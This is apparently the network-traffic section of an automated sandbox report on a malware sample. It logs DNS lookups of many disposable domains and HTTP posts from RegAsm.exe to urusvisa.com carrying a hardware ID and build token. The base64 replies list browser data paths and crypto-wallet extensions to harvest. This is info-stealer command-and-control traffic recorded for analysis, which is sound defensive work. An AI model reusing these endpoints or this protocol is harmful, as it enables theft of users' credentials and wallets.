Sep 30, 2024 13:59:58.488645077 CEST	192.168.2.6	1.1.1.1	0x8d19	Standard query (0)	commandejorsk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.461853027 CEST	192.168.2.6	1.1.1.1	0xe027	Standard query (0)	bellykmrebk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.473614931 CEST	192.168.2.6	1.1.1.1	0x34fa	Standard query (0)	agentyanlark.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.489085913 CEST	192.168.2.6	1.1.1.1	0xba81	Standard query (0)	writekdmsnu.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.501234055 CEST	192.168.2.6	1.1.1.1	0xf370	Standard query (0)	delaylacedmn.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.515074015 CEST	192.168.2.6	1.1.1.1	0xe0c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 13:59:16.845648050 CEST	1.1.1.1	192.168.2.6	0x5219	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:18.009471893 CEST	1.1.1.1	192.168.2.6	0x71be	No error (0)	urusvisa.com		5.42.101.62	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:37.564904928 CEST	1.1.1.1	192.168.2.6	0x77e7	No error (0)	files.veritas.org.ng		147.45.44.104	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.197660923 CEST	1.1.1.1	192.168.2.6	0x7058	Name error (3)	possiwreeste.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.212569952 CEST	1.1.1.1	192.168.2.6	0xe494	Name error (3)	famikyjdiag.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.228416920 CEST	1.1.1.1	192.168.2.6	0x536d	Name error (3)	commandejorsk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.245301008 CEST	1.1.1.1	192.168.2.6	0xadea	No error (0)	underlinemdsj.site		104.21.1.169	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.245301008 CEST	1.1.1.1	192.168.2.6	0xadea	No error (0)	underlinemdsj.site		172.67.129.166	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.297791958 CEST	1.1.1.1	192.168.2.6	0x6322	Name error (3)	bellykmrebk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.329687119 CEST	1.1.1.1	192.168.2.6	0x6442	Name error (3)	agentyanlark.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.391017914 CEST	1.1.1.1	192.168.2.6	0x2881	Name error (3)	writekdmsnu.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.412494898 CEST	1.1.1.1	192.168.2.6	0x400e	Name error (3)	delaylacedmn.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.430049896 CEST	1.1.1.1	192.168.2.6	0x1349	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:41.758681059 CEST	1.1.1.1	192.168.2.6	0x668d	No error (0)	chaptermusu.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:41.758681059 CEST	1.1.1.1	192.168.2.6	0x668d	No error (0)	chaptermusu.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:43.467329025 CEST	1.1.1.1	192.168.2.6	0x72ac	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:56.519737959 CEST	1.1.1.1	192.168.2.6	0xc7d7	No error (0)	possiwreeste.site		172.67.205.129	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:56.519737959 CEST	1.1.1.1	192.168.2.6	0xc7d7	No error (0)	possiwreeste.site		104.21.22.157	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:57.549274921 CEST	1.1.1.1	192.168.2.6	0x9b3d	Name error (3)	famikyjdiag.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:58.504532099 CEST	1.1.1.1	192.168.2.6	0x8d19	Name error (3)	commandejorsk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.470731974 CEST	1.1.1.1	192.168.2.6	0xe027	Name error (3)	bellykmrebk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.483779907 CEST	1.1.1.1	192.168.2.6	0x34fa	Name error (3)	agentyanlark.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.498153925 CEST	1.1.1.1	192.168.2.6	0xba81	Name error (3)	writekdmsnu.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.511554956 CEST	1.1.1.1	192.168.2.6	0xf370	Name error (3)	delaylacedmn.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:59.525485992 CEST	1.1.1.1	192.168.2.6	0xe0c	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

underlinemdsj.site

steamcommunity.com

chaptermusu.store

possiwreeste.site

urusvisa.com

files.veritas.org.ng

46.8.231.109

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	5.42.101.62	80	3532	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:18.015818119 CEST	87	OUT	GET / HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:18.965643883 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 13:59:18.983493090 CEST	435	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC Host: urusvisa.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="hwid"54A50671C48A3788952882-a33c7340-61ca------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------FCGIJDBAFCBAAKECGDGC--
Sep 30, 2024 13:59:19.566453934 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|06ab20920f2170c32849258200a70f10\|1\|1\|1\|0\|0\|50000\|10
Sep 30, 2024 13:59:19.568109989 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="mode"1------HIDHIEGIIIECAKEBFBAA--
Sep 30, 2024 13:59:20.132946968 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 30, 2024 13:59:20.133076906 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 30, 2024 13:59:20.134543896 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIE Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 2d 2d 0d 0a Data Ascii: ------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="mode"2------KKFCAAKFBAEHJJJJDHIE--
Sep 30, 2024 13:59:20.666474104 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 30, 2024 13:59:20.666492939 CEST	224	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF
Sep 30, 2024 13:59:20.666502953 CEST	1236	IN	Data Raw: 38 4d 48 77 77 66 45 56 57 52 56 49 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 64 6c 5a 57 39 6b 63 47 5a 68 5a 32 70 6a 5a 57 56 6d 61 57 56 6d 62 47 31 6b 5a 6e 42 6f 63 47 78 72 5a 57 35 73 5a 6d 74 38 4d 58 77 77 66 44 42 38 53 32 46 79 5a Data Ascii: 8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZGlhQ2hhaW58MXxwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3wxfDB8MHxSYWJieXwxfGFjbWFjb2RramJkZ21vbGVlYm9sbWRqb25pbGtkYmNofDF8MHwwfFBoYW50b218MXxiZm5hZWxtb21laW1obH
Sep 30, 2024 13:59:20.666513920 CEST	1236	IN	Data Raw: 6c 63 48 42 6e 5a 48 42 6f 66 44 46 38 4d 48 77 77 66 45 56 34 62 32 52 31 63 79 42 58 5a 57 49 7a 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6f 62 32 78 77 5a 6d 52 70 59 57 78 71 5a 32 70 6d 61 47 39 74 61 57 68 72 61 6d 4a 74 5a 32 70 70 5a Data Ascii: lcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW1lamRtYXwxfDB8MHxFbmtyeXB0fDF8a2twbGxrb2RqZWxvaWRpZWVkb2pvZ2FjZmhwYWlob2h8MXwwfDB8T0tYIFdlYjMgV2
Sep 30, 2024 13:59:20.666523933 CEST	1236	IN	Data Raw: 76 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 4a 6e 61 6d 39 6e 63 47 39 70 5a 47 56 71 5a 47 56 74 5a 32 39 76 59 32 68 77 62 6d 74 74 5a 47 70 77 62 32 4e 6e 61 32 68 68 66 44 46 38 4d 48 77 77 66 45 4e 76 61 57 35 6f 64 57 4a 38 4d 58 78 71 5a Data Ascii: vIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fD
Sep 30, 2024 13:59:20.666536093 CEST	675	IN	Data Raw: 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 31 72 63 47 56 6e 61 6d 74 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 Data Ascii: pYyBFZGVuIFdhbGxldHwxfG1rcGVnamtibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYW
Sep 30, 2024 13:59:20.757287979 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 13:59:20.759092093 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: urusvisa.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="mode"21------HDBGHDHCGHCAAKEBKECB--
Sep 30, 2024 13:59:21.326414108 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 30, 2024 13:59:21.391108036 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: urusvisa.com Content-Length: 7641 Connection: Keep-Alive Cache-Control: no-cache
